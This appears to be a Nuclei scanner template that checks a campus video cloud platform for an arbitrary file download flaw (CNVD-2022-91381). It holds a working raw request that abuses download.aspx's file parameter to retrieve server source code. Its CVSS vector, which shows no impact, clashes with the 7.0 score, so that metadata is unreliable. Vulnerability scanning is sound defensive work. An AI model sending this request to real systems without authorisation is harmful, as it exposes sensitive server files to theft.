Video_cloud_pla_download.aspx-anyfile-CNVD-2022-91381.yaml

id: Video_cloud_pla_download_aspx-anyfile-CNVD-2022-91381

info:
  name: 奥威亚视屏云平台download.aspx任意文件下载漏洞
  author: MDSEC
  severity: high
  description: |
    广州市奥威亚电子科技有限公司是一家专注于教育信息化产品研发、生产、销售及服务的高新技术企业。广州市奥威亚电子科技有限公司校园视频应用云平台download.aspx存在任意文件下载漏洞，攻击者可利用该漏洞下载服务器上任意文件，获取敏感信息。
  reference:
    - https://blog.csdn.net/qq_41490561
    - https://www.cnvd.org.cn/flaw/show/CNVD-2022-91381
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
    cvss-score: 7.0
    cwe-id: CWE-200
  metadata:
    verified: true
    samples: ""
  tags: ava,download

http:
  - raw:
      - |
        GET /download.aspx?file=/Tools/AS/ASRoute.aspx HTTP/1.1
        Host: {{Hostname}}
        sec-ch-ua-platform: "Windows"
        Upgrade-Insecure-Requests: 1
        sec-ch-ua-mobile: ?0
        Accept-Language: zh-CN,zh;q=0.9
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
        sec-ch-ua: "Google Chrome";v="118", "Chromium";v="118", "Not=A?Brand";v="24"
        Accept-Encoding: gzip, deflate

    matchers:
      - type: dsl
        dsl:
          - 'status_code==200 && contains(body,"MyAgentServerTestListAgentServer")'
          - 'contains(body,"<%@")'


# Enhanced by md on 2023/12/16